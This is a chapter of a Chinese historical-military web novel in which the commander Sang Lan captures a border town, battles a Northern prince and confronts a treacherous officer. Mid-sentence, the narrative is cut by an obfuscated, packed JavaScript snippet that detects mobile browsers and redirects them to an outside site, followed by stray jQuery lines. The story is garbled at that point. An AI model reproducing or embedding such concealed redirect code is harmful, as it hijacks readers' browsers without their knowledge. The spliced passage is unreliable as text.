“幽州军退得太后了吧。”清风拧着眉头,“他们还打不打了?”
卫安晏:“高奇从未领兵出征,手上没有实打实的功绩,年纪又轻,压不住军营里的那些老将。但幽州诱出了漠北军,此时应已向果城开拔。”
长风:“想必不多时,我们能听到桑指挥使的捷报。”
被念叨的桑澜点燃了一支火箭。
高挂在城墙上的旗帜被箭矢射中,先是燃起一点火光,而后燃起熊熊大火。
轮值的北朝军没得及发出警告声,数道长箭命中他们的咽喉。
木城为小城,城墙不过成年人高,驻军人数最多不过三千人。
银甲军拉起缰绳,双腿一夹,越过城墙。
沉睡的北朝军听见刀剑撞击声,提刀走出屋子,迎面而来便是一柄陌刀。
带着琉璃猫脸面具的银甲小将,手持陌刀,孤身入敌营,所到之处,鲜血横流。
“卫鬼来了!”
“他不是卫鬼,他用的陌刀!”
“面具!银甲!穿的银甲!”
“她是猫脸怪!”
北朝军惊慌地抱头鼠窜,也有胆大的上去杀敌,刚靠近银甲军一尺距离,陌刀就已经劈砍下。
就算近了身,他们手中弯刀也不能劈开银甲军的坚硬甲胄。
莫格手持双刀,骑在马上,俯身一滑,带起一臂鲜血。
赵五踩在北朝军背上,从后面一刀抹了那人脖子。
红杏长剑挑开北朝人的弯刀,直刺其胸膛。
一支北朝骑兵从后城门逃了出去。
“追!”桑澜将陌刀抛给一旁亲卫,夺过破晓,翻身上马。
红杏和赵五见状跟上,加上其余四名亲卫,六人驾马直追。
莫格收拢银甲军,清扫战场,缴械投降者,不杀。
被俘的北朝军指挥使黑风,他红了眼,死死拽着手上铁链,他多想勒死两个银甲军,可他不能!
……
“猫脸怪追上来了!”
前头逃窜的北朝军惊慌失色。
“不怕,我们的人在前面了!他们敢追上来,死路一条。”
北朝骑兵接二连三地从马上倒下去。
有人回头去看,他们的胸膛插着一根箭,猫脸怪和其身后骑兵的长箭随风而至。
“绕着跑!”
沙坡上出现一排排黑影。
北朝军看见自己人,振臂高呼:“大夏军追上来了!”
黑影向两侧退让,高头大马自后方慢步走出,马上坐着一位皮肤黝黑、身影魁梧的少年。
他举起长弓,对准前方的桑澜。
桑澜亦执弓,搭箭。
他的箭先发,桑澜的箭后动。
箭矢碰撞,后者的箭破开前者,直朝黝黑少年面庞而去。
哐当一声。
黝黑少年用弯刀挡下箭矢,他垂眸看向弯刀上轻微凹陷:“好厉害的猫脸怪。”
桑澜看着他:“你们北朝人,不能给我起个好听的名字吗?”
黝黑少年神色惊讶:“你听得懂北朝语?你是北朝人?”
桑澜:“我是大夏人。”
黝黑少年抬手:“猫脸怪,你的本事很大,考虑投靠我们北朝吗?我身后有十万大军,若你愿意,他们任你差遣。”
他问一国郡主:你考虑一下投敌吧。
桑澜:“王子,你再不逃,可就逃不了了。”
黝黑少年又是一惊:“你知道我的身份?我喜欢你的个性。”挥手,“活捉猫脸怪,本王子有重赏。”
桑澜望着山坡上的百来人,伸手:“拿我的刀来。”亲卫将沉重的陌刀举起递给她。
她回眸:“赵五,速速回去报信。”
赵五点头,策马掉头往回跑。
北朝王子立在原地,身侧黑影倾巢而出,一百人对战六个人,捉住猫脸怪,轻而易举。
他大声问:“你摘下面具,是什么模样?是生得丑,所以要带面具吗?”
桑澜:……
……
日照当空,一面金黄的旗帜升空。
木城被银甲军攻下。
紧赶慢赶而来的幽州大军,瞧见木城城门之上的大厦旗帜,微微一怔,他们还没到呢,木城就已经被攻下了。
主帅高奇问莫格:“桑澜呢?”
恰逢赵五骑马回来,她扯着嗓子大喊:“北朝军有援军。”
莫格快声问:“多少人?”
“有百来个人,指挥使让我回来叫援兵,领头的是北朝王子!副指挥使,快派人跟我一起回去救指挥使吧,他们要活捉了指挥使!”
北朝王子,一群人听见,眼睛一亮,纷纷抄起家伙,只等一声令下。
高奇:“莫指挥使,银甲军攻占了木城,你们立了大功,可以休息了。”他转头对身后的人说,“吕总管,杜总管,你们二人领兵去支援桑指挥使。”
莫格看他一眼,没有言语,杜总管是他麾下的人,而吕总管同指挥使走得进,高将军可真会做买卖。
赵五换了一匹马,领头跑在最前面。
……
十柄长刀围成一圈,刺向桑澜,她翻身一跃,脚尖踩在刀柄上,蓄力一跃,踩着向她涌来的北朝军头颅,奔向北朝王子的方向。
北朝王子身侧走出两名长刀猛将,挡在他身前。
后路被断,前路有虎。
长刀猛将左右夹击,桑澜自右上方斜刀一劈,气势犹如劈山开石,右边长刀猛将双臂被她斩断,左边长刀猛将趁机转步移到她身侧,刺出一刀。
桑澜仰头弯腰躲开,左臂铠甲被重击,左脚后撤,蓄力一击,左边长刀猛将连退三步堪堪躲过。
明眼人都瞧得出,她手中陌刀重于寻常陌刀,往前三步,他定被劈成两半!
后面北朝军追兵而至,桑澜回眸,面具遮挡了她的半张脸颊,却挡不住杀气腾腾的双眼。
像草原狼王,像天上的飞鹰,冷漠、嗜血,锐不可当。
仅仅一眼,叫他们生出退意,王子身边两位勇士,一人被她砍断双手,另外一人连连后撤,他们远远不敌两位勇士,何谈捉住身法诡异的猫脸怪。
北朝王子翻身上马,强压着内心惧意:“猫脸怪,我们下次见。下次,我希望你能认真考虑我的提议。”
北朝军吹哨,叫来自己的马儿,绕开桑澜,跟着北朝王子逃走。
陌刀插入沙地,桑澜大喘着气,从早上杀到晌午,连路追赶,最后一刀没有砍中长刀猛将,她力竭了。
“小姐。”红杏情急之下,唤出最顺口的称呼,她拖着受伤的腿,依着长剑,挪到桑澜身边,“您没事吧。”
桑澜起身回头,四名亲卫齐齐望着她,有人站着,有人重伤趴在地上。
她们的身上有伤,但眼眸中的战意,从未熄灭。
她们的身后是北朝军的尸体。
“你们,很了不起。”桑澜竖起大拇指,她的姐姐萧星洛,为她送来了最强且最忠心的军队。也不知何时,她才能赴约,和姐姐一起摘下南疆王府里的枇杷。
“北朝王子呢?”
杜总管先吕总管一步赶到,他临走前给吕总管使了绊子,这才快人一步。
“逃了。”桑澜坐在地上,为亲卫们包扎伤口。
杜总管张望四周:“往哪里逃了?”
“果城。”桑澜头也不抬,左臂发麻,她用牙咬紧绷带。
“盘膝坐好。”这一位亲卫伤得最重,桑澜怕药效太慢,亲卫撑不到回营地,打算用内力为她游走周身。
每一位银甲军战士,都是萧家的心血。她们不是她桑澜立功的垫脚石,而是与她并肩作战的战友。
见追击无望,杜总管嘲讽桑澜:“你怎么没留下北朝王子,你不是很能打吗?本总管看呐,你的功劳,全是银甲军替你打下来的,离开银甲军,你什么都不是。放跑了北朝王子,我看你如何跟主帅交待!”
被桑澜治疗的亲卫张嘴就要骂人,桑澜道:“专注。”
红杏不惯着他,瞪眼道:“指挥使带着我们五人对一百多人,光她一人就杀了三十多个北朝人,杜总管,你老胳膊老腿,能杀几个!”
“桑指挥使,你是个小女郎,你管教不好下人,我可以。”
“你废话嫩多!”
话未尽,杜总管被人踹了一脚,回头一看是吕总管。
他作势扬手就要给她一巴掌。
吕总管接住他的手腕,冷笑一声:“老东西,今非昔比,此地离了幽州,老上司的手伸不到这里。高将军看在老上司的面子上,给你脸,你可别给脸不要脸。”
杜总管听懂她话里的意思,沉着脸:“投靠她?我看你是越活越回去了。”
“杜总管
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462137|156631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你儿的牙,我能打碎。你的牙,我亦能。”桑澜借着赵五的力,站起身。
一行人返回木城。
营帐里的老将们纷纷竖起耳朵听桑澜说话,想听听她是如何以一千人杀敌两千,俘虏一千,银甲军没有人战死,重伤十七人。更不提,她带着五名亲兵,在百位敌人的长刀中生存下来。
银甲军的实力堪比卫家军的精锐部队。
指挥使桑澜年纪不过十八,面相还是个孩子呢,手上的功夫,绝不弱于威震漠北的卫安晏。
少年英才!多么优秀的后辈。
桑澜认真道:“据我观察,北朝王子身边的亲卫,配有良马、宝刀,其作战实力与我们军中的总管实力相当。其余北朝军没有好的装备,体能低,作战更是毫无章法……这是我们能够攻下木城的主要原因。”
“有人说我放跑了北朝王子,我也有问题,想当着诸位同袍的面,问问他。”桑澜看向杜总管,“杜总管。”
杜总管摸不清桑澜葫芦里卖的什么药。
“高将军命你与吕总管前来支援,而你先行出发,是与不是。”
杜总管:“是。”
“你既先一步出发,为何派人,故意给吕总管指错路?”
杜总管阴着脸看向吕总管,他没想到吕总管真能跟一个孩子告状。
桑澜半眯着眸子问他:“我的亲卫催你加快行军速度,你为何在路上拖延?是想让我们死?好为你的儿子报仇?”
满帐哗然,纷纷指责杜总管不厚道。
高阔缓和道:“杜总管是军中老人。”
萧北辰听罢:“高将军,今日之事,本监军会一字不落上报圣人。”
言下之意,高阔再和稀泥,萧北辰便要修书一封,换主将。他与桑澜处处给高阔面子,因高阔的母亲是金吾卫大将军高荣,高老将军又曾是定安长公主的亲卫。
高阔合上嘴。
“诸位。”桑澜不与杜总管言语,“我们出来打仗,哪个不是把脑袋別裤腰带上,拼劲全身力气在战场上杀敌。往大了说,我们为了保家卫国流血流汗。往小了说,我们想搏一搏功名,升官加爵,衣锦还乡。
打仗总归是要死人的,既然要死,我宁愿死在敌人刀下,也不愿被同袍算计死。此战,不知归期,亦不知生死。”
她作揖:“我愿与诸君,共进退,同生死。”
她没有穿着铠甲,一身常服,左臂衣衫被割开,布条下压着草药。
其余人看向杜总管的眼神,愈发地不友善。这么好一个孩子,你盼着她死?杜家的祖宗都得从坟里爬出来,骂这个不孝子。
陈总管出自青州,他是白庸的上司,他听白庸汇报过桑澜的事迹。桑澜在营地里当小医官时,杀敌的功劳都赠予白庸。由此可见,她不看重军功,她对同袍慷慨大方得很。
论起出身,她是圣人钦点的指挥使,赵家后人,背靠端亲王府。整个营帐里,她的来头,仅次于萧世子。她来幽州投军,当真是为了杀敌报国。
他率先站起身:“老夫愿与诸位,共进退,同生死。”
吕总管接着道:“共进退,同生死。”
剩下的其余营长、总管不是傻子。更何况,有桑澜在,何愁分不到一口肉吃。
纷纷道:“共进退,同生死。”
萧北辰望着桑澜,嘴角微微一笑。
……
“我要猫脸怪。”
北朝王子坐在帐中,对着上方的胡须男子说道。
漠北王问他:“银甲军指挥使?”随即皱眉,“你要她做什么?”
“大王,你从前送我一条狗,说它能保护我,但是,它老死了。”北朝王子喝下一口羊奶,“我打听过了,猫脸怪的年纪跟我差不多大,她能陪着我很久很久。”他想到猫脸怪的面具,又补充一句,“她长得丑,也没有关系。她的本事很大,这就足够了。”
漠北王劝道:“她杀了我们很多勇士,野性堪比狼王,很难驯服,留在你身边,会伤到你。”
“大王替我捉住她,我会驯服她。”北朝王子站起身,“她不听话,我就拿铁链将她栓起来,拿鞭子抽打她,直到她听话为止。”
漠北王笑着咬下一口肉,欣赏道:“雅伦,你还真是随我。横竖一条狗,本王就命人替你捉来。”
雅伦喜笑颜开:“儿子像父亲,天经地义,儿子谢过大王。”